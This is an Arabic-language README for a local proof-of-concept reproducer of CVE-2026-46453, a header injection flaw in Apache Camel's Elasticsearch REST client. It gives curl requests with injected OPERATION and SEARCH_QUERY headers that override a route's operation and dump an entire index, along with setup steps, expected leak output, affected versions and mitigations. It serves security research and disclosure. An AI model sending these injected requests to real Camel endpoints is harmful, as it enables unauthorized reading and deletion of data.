
أداة استنساخ لـ CVE-2026-46453 — حقن رأس بدون بادئة في Apache Camel camel-elasticsearch-rest-client (تجاوز العملية/الاستعلام عبر رؤوس HTTP الواردة)
يوضح هذا المشروع حقن رأس الرسالة / تجاوز التفويض في مكون camel-elasticsearch-rest-client الخاص بـ Apache Camel، والمُتتبَّع باسم CVE-2026-46453. يقرأ المكون عدة رؤوس Exchange للتحكم في سلوكه — SEARCH_QUERY، OPERATION، INDEX_NAME، INDEX_SETTINGS، ID. في الإصدارات المتأثرة، تكون هذه قيم الرؤوس النصية أسماء عادية غير مسبوقة ("OPERATION"، "SEARCH_QUERY"، …) بدلاً من الأسماء المسبوقة بـ Camel التي يستخدمها كل مكون آخر. تقوم استراتيجية HttpHeaderFilterStrategy الواردة في Camel بحظر الأسماء التي تبدأ بـ Camel/camel فقط، لذلك تمر هذه الرؤوس عبر المرشح الوارد دون تغيير. عندما يعرض مسار نقطة دخول HTTP (مثل platform-http) أمام منتج elasticsearch-rest-client، يمكن لعميل HTTP غير موثوق تعيين هذه الرؤوس مباشرة وتجاوز الاستعلام والعملية اللذين كونهما كاتب المسار — قراءة الفهرس بالكامل، حذف المستندات، إلخ. لا يلزم وجود بيانات اعتماد.
الإشعار: https://camel.apache.org/security/CVE-2026-46453.html
نفس عائلة حقن الرأس مثل CVE-2025-27636، CVE-2025-29891، CVE-2025-30177، CVE-2026-40453 و CVE-2026-47323 — كلها تنبع من مكونات تقرأ الرؤوس الواردة التي لا تحجبها استراتيجية
HeaderFilterStrategyالافتراضية لأن الأسماء لا تبدأ بالبادئةCamel.
// ElasticSearchRestClientConstant - المتأثر 4.18.2 (قيم غير مسبوقة)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - الرأس يغلب على العملية التي تم تكوينها في نقطة النهاية
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategy تحظر فقط Camel*/camel*، لذلك فإن رأس HTTP وارد مثل OPERATION: SEARCH (و SEARCH_QUERY: {...}) يمر ويتجاوز operation=GET_BY_ID لكاتب المسار. الإصلاح (4.14.8 / 4.18.3 / 4.21.0) يعيد تسمية القيم إلى CamelElasticsearchOperation، CamelElasticsearchSearchQuery، إلخ، بحيث يقوم المرشح الوارد بحظرها (أسماء الحقول في Java لم تتغير).
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// ينوي كاتب المسار عملية واحدة آمنة: جلب مستند واحد بواسطة المعرف
طلب HTTP من مهاجم يحمل OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} يتجاوز ذلك ويُفرغ الفهرس بالكامل.
الضحية هو مسار Camel؛ والمهاجم هو أي عميل HTTP يمكنه الوصول إلى نقطة نهاية platform-http. يقوم المثال بتشغيل Elasticsearch حقيقي في Docker وتطبيق Camel على المضيف (يتحدث التطبيق إلى ES عبر المنفذ المعيّن).
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3 (الأمان معطل)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # يزرع مستنداً "عاماً" وآخر "سرياً"
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # المهاجم: GET_BY_ID شرعي مقابل OPERATION=SEARCH محقون
└── resources/
└── application.properties
docker compose up -d
# انتظر حتى يصبح جاهزاً:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# يقوم التطبيق بزرع فهرس 'products' بمستند عام وآخر سري عند بدء التشغيل
curl -s http://localhost:8080/exploit/attack
# === 1) طلب شرعي (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} تم تسريب السر: false
# === 2) طلب هجوم (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] تم تسريب السر: true
#
# >>> إثبات حقن الرأس — المهاجم تجاوز العملية وقرأ الفهرس بالكامل: true
يمكنك أيضاً فعل ذلك يدوياً — تمر الرؤوس المحقونة مباشرة عبر مرشح platform-http الوارد:
# شرعي: GET_BY_ID لكاتب المسار يُرجع المستند العام فقط
curl -s -H "ID: public-1" http://localhost:8080/products
# هجوم: تجاوز العملية وتفريغ الفهرس بالكامل (بما في ذلك السر)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
أي مسار يعرض نقطة دخول HTTP أمام منتج elasticsearch-rest-client. يقوم المهاجم بتعيين OPERATION، SEARCH_QUERY، INDEX_NAME، INDEX_SETTINGS، أو ID على طلب HTTP الوارد؛ يتجاوزون مرشح البادئة Camel الوارد ويصلون إلى المنتج.
HttpHeaderFilterStrategy الافتراضية (تحظر فقط Camel*)، والتي لا تغطي رؤوس ES غير المسبوقة.الترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508)، الذي يسبق قيم الرؤوس بـ Camel بحيث يقوم المرشح الوارد بحظرها.
حتى الترقية، قم بإزالة الرؤوس المتأثرة من الرسائل الواردة غير الموثوقة قبل المنتج:
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
أو قم بتطبيق HeaderFilterStrategy مخصصة تحظر هذه الأسماء.
تم توفير أداة إعادة الإنتاج هذه لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة ومُصححة بشكل عام. لا تستخدمها ضد أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكون | camel-elasticsearch-rest-client |
| الثوابت المتأثرة | ElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (قيم غير مسبوقة) |
| CWE | CWE-20 (التحقق غير السليم من الإدخال) + CWE-639 (تجاوز التفويض من خلال مفتاح يتحكم به المستخدم) |
| التأثير | عميل HTTP غير موثوق يتجاوز عملية/استعلام ES — قراءة/حذف/تسريب المستندات |
| الإصدارات المتأثرة | من 4.3.0 قبل 4.14.8، من 4.15.0 قبل 4.18.3، من 4.19.0 قبل 4.21.0 |
| الإصدارات المُصحَّحة | 4.14.8، 4.18.3، 4.21.0 |
| JIRA | CAMEL-23508 |
| المُبلِّغ | Yu Bao (PayPal) |